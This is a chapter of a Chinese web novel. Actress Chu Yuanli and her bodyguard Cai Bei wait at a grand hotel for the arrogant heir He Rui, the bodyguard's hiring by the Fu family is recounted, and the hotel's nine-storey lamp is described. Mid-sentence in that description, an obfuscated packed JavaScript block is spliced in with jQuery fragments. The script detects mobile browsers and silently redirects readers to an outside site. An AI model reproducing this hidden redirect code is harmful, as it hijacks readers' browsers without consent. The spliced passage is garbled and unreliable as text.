繁城大饭店,身穿黑色马甲的服务员,引导楚元黎和蔡蓓通过清幽的贵宾通道,进入预定好的包厢。
有了张明砚的教训,楚元黎这次让蔡蓓形影不离地跟在她身边。
贺瑞和张明砚不一样,繁城富二代里,他最高调,都因他有一对好爹妈。
他家里有钱,所以像个被惯坏的小孩,他想要潜规则她,就像想得到一件玩具,不是多喜欢,只是习惯了,想要的,就要得到,得到后,再轻易地丢掉,并不把别人当人,尊重二字,他不会写。
他当年针对她,无非是她这个小明星,没对他俯首、讨好和谄媚,便生了逆反心。
人在这个巨大的名利场,楚元黎是知道自己没资格硬气的,今天约贺瑞见面,也做好了和他赔礼道歉的准备。
大不了再借傅闻朝的名头用用,反正……他也不知道。
她是有骨气,但必要时还要用点技巧。
当然,如果能不借助傅闻朝的名头狐假虎威就能把事情摆平,就是完美的结果了。
为了表示重视,蒋芳在大厅亲自等待贺瑞。
然而,等了快一个小时,贺瑞始终没出现,蒋芳打了好几个电话去催,贺瑞的助理找了各种理由解释,但都没有明确告知,是否会来。
蒋芳憋了一肚子气,咬着牙,忍气吞声道:“那我和元黎再等等?”
“辛苦芳姐和楚小姐了。”
挂了电话,蒋芳骂了一句脏话,脚步沉沉地走回包间。
包间里,楚元黎和蔡蓓已经等了一个小时,淡定的楚元黎,让蔡蓓生出疑惑,楚小姐怎么一点都不生气。
楚元黎看出她的欲言又止,“你一向很沉得住气的嘛,怎么今天也没耐心了?”
蔡蓓问:“楚小姐,你好像一点也不生气。”
楚元黎翘着长腿,转向蔡蓓的方向,匀称莹润的手支撑在桌上,下巴放在手背上,丝毫不见生气,神色甚至很轻松。
“蓓蓓,这才哪到哪,要真等一两个小时,能让贺瑞消气倒是好事呢。”
楚元黎今天穿了一条杏色的九分连体裤,头发扎成马尾,脚下是一双厚底凉鞋,整个人又休闲又干练,却又带了几分正式。
她对蔡蓓说话时,眼睛眨了眨,像俏皮的蝴蝶煽动翅膀。
蔡蓓想起傅总的话:“她看起来柔软,实则是个要强的人。”那双一向冷肃的眼染上一层笑意,如数家珍的说:“认识她后,你会欣赏她的。”
她当年从体校毕业后,参加公考,但没能考上心仪的工作单位,又逢家中突变,急需用钱。
就在这时,自己一位师哥向她抛来橄榄枝。
师哥专门为有权有势的豪门贵族、明星等等提供安保服务。
师哥说现在有一个大家族需要几名保镖,想让她来试试。
她心中其实是拒绝的,师哥看出她心中的想法,劝她:“蔡蓓,你不要以为给人做保镖是什么不体面的工作,你想做,还要看能不能经过筛选和考核。”
蔡蓓心中不以为意,但她一向要强,她笔试方面薄弱,但在身体素质、体能等方面,很有信心。
而这次神秘的考核,看重的就是身体素质和体能。
不出意外,她拿到了第一名。
但她只是想拿下第一名,并不是真的想去做一个保镖。
本要拒绝,却听师哥道:“每月工资三万,六险一金,另有200万元意外险,年终奖金每年不低于十万,根据供职年限,工资逐年递增,当然,因为是保镖,所以需要随叫随到,假期无法保证,但每年可以享有一次性十五天的假期。”
要拒绝的话,顿时化作乌有,实在是给得太多,就算她能考上理想的单位,也未必能拿到这样好的福利待遇。
“师哥,你不会骗我吧。”
师哥闻言拍了拍她的肩膀,“蔡蓓啊,你运气好,这次是傅氏招人,他们家族在这方面十分谨慎,要不是这次人家只要女保镖,我都想去傅氏任职了。”
蔡蓓看了看自己师哥挺起的啤酒肚,“师哥,你怕是第一关考核都通不过。”
师哥笑骂:“嘿,才过河就拆桥是吧。”
当然,师哥的话也打消了她的顾虑,她就算再是根榆木,也知道傅氏集团是怎样的存在。
进入傅氏后,她最开始的任务只是帮助傅总保护一些合作伙伴。
傅老先生和太太早有安保团队,而傅总的保镖团队,由七人组成,其中六个经过层层考核筛选,身体条件极其优越,剩下一个,是退伍军人秦淦,他从傅总很小的时候,就开始跟在傅总身边。
这样一支队伍,堪称将傅总保护得铁桶一般,那是核心团队中的核心。
蔡蓓偶尔见过几次秦淦,他身上那种气质,果真不是普通人能比的。
这次,傅总要找一个人保护楚小姐,她成功来到了楚小姐身边。
来之前,傅总特意单独见了她一面,和她聊了聊楚小姐的一些小癖好。
最重要的是,傅总问她:“蔡蓓,你是否会感到委屈。”
蔡蓓终于明白,为什么秦淦那样的人,能死心塌地地跟在傅总身边。
她不委屈,甚至隐隐兴奋,这次会是她进入傅氏家族安保团队核心的机会,这是她升职加薪的机会。
她也算是知道,这位楚小姐对傅总而言,一定不是普通的前女友那么简单。
在楚小姐身边工作,和她之前的工作有所不同,她需要做的事情更加繁杂,更需要耐心和细心,她没有一丝怨言。
和楚小姐相处的这几个月,她也终于明白,为什么傅总会在分手后,依旧放不下楚小姐。
楚元黎能在这样的境遇下,依旧保持能屈能伸的心态,且不急不躁,就算换成她自己,恐怕也无法这样淡定。
她眼中的欣赏加深了几分。
楚元黎压根不知道,蔡蓓的想法。
她放下腿,站起身,“我去趟洗手间。”
“我和您一起去吧。”
楚元黎走到门边,“不用,贺瑞还没来,不会有事。”
她推门走出包间,繁城大饭店总共九层,内部是一个巨大的环形结构,设计很大气,格调富贵淡雅,人影照在浅黄花纹的大理石地板上,影影绰绰,和酒店整体的氛围融合完美。
每一层都能看到繁城大酒店最负盛名的、从一楼大厅拔地而起的巨型九层灯——“圆满”。
它自一层大堂扶摇直上、贯穿至九层穹顶。灯体雕梁嵌玉,流光映壁,每一层被赋予不同的境意。
一层?长安
登堂入宴,先见长安。
有“岁岁长安,山河无恙”之意。灯纹以祥云、瑞鹤、宝瓶为装饰,喻意出入皆安,百事顺遂。
二层?椿寿
椿为长寿之木,萱喻安康之福。
二层主福寿康宁,灯上雕松鹤延年、芝兰长青,祝君身健如松,心宁如兰,无病无灾,福寿绵长。
三层?清宁
心无挂碍,身自清宁。
三层取“世事纷扰,此处心安”之意,灯纹以莲荷、静水、闲云入画,喻烦忧尽散,心境澄明,得一时自在,享片刻清欢。
四层?裕和
富而不骄,贵而能和。
四层不取俗艳财气,而取
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17433614|193975||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“仓廪实而知礼节,财源广而怀温良”,灯纹以锦簇、玉璧、锦鲤为饰,喻家业丰裕,和气生财,富贵绵长。
五层?鸾盟
鸾凤和鸣,山海为盟。
五层主良缘相守,灯纹雕并蒂莲、比翼鸟、同心结,喻情投意合,白首不离。
六层?知遇
人生得一知己,足矣。
六层为知音之境,灯纹以琴瑟、松竹、兰亭雅景入饰,喻高山流水,惺惺相惜,相逢意气,不负相知。
七层?凌云
胸有丘壑,志在凌云。
七层主前程、功业、金榜题名、事业登峰,灯纹以鲲鹏、长风、登高楼为意,喻乘风破浪,旗开得胜,平步青云。
八层?臻善
万事称心,事事臻善。
八层取“圆满如意,尽善尽美”之意,灯纹以灵芝、如意、圆月为饰,喻所求皆得,所愿皆成,人生无憾,圆满自在。
九层?怀仁
心怀天下,仁爱无疆。
九层为顶层至尊之境,灯纹以山河日月、众生和乐为景,喻兼爱众生,心怀仁善,格局开阔,福泽四方,是人生至境,亦是酒楼气度。
但它即使在不点亮时,也已足够震撼。
酒店很会搞噱头,称这座名为“圆满”的九层灯被点亮,是对点亮她的人的最大祝福。
想要点亮这盏灯,最低消费6999999元,嗯,价格也很震撼。
不知道什么人能花那么大的价钱点亮这盏灯。
楚元黎边走边想,到了卫生间。
却没想到,能在这里遇见一个意料之外的人。
陆黛从卫生间走出来,看到楚元黎,脚步停了一下,还是走到她身旁,打开水龙头,低着头,洗手洗得很认真。
楚元黎从清晰的镜子中,看出陆黛脸色苍白,盘在脑后的头发有些凌乱,口红从一侧的唇角微微溢出,一双标志性的桃花眼里,失去光辉,在灯光耀目的繁城饭店里,暗淡沉默。
“陆老师,真巧。”楚元黎礼节性地问好,陆黛依旧在认真搓手,仿佛要将自己的皮肤搓下一层一样。
陆黛的状态很不好,楚元黎不由皱起眉头问:“你没事吧?”
陆黛知道自己现在很狼狈,可偏偏,在她最不想被人看见的时候,遇见了楚元黎。
她终于停止洗手,站直身子,扯下一张纸,擦干手,正视楚元黎,“楚元黎,有时,我真的很羡慕你。”
说完,陆黛靠在身后的墙上,从包里掏出一盒烟,取出一根点燃。
“来一根?”
楚元黎摇头,她不会。
“你当年为了曾子晴不惜得罪导演,有没有后悔过?”陆黛夹着香烟问道。
楚元黎不知道陆黛为什么突然这样问,她还是答道:“不后悔。”
谁知陆黛却不屑地嗤笑一声,吐出一口白色的烟,轻蔑道:“真装。”
话不投机,楚元黎张口想要反驳,但看到陆黛那一丝凄凉的笑,没再说什么,转身离开。
重新回到包间,楚元黎看到蒋芳叉着腰,接过蔡蓓递来的一杯冰水,猛灌了下去。
然后大骂:“这个贺瑞当自己是谁啊……一个臭富二代纨绔,谁惯的他臭毛病!”蒋芳对贺瑞这样打脸的做法气愤难平,但也只能深深叹了口气,“哎,算了,这样的人不来也好,就算来了,恐怕也和他谈不成。”
三人无心再继续留在包间,正要离开。
门外,上身穿灰色知名品牌logo的T恤,下身穿长度至小腿的休闲裤,身材略微发福,表情很拽的男人,正抬脚往他们包间里进。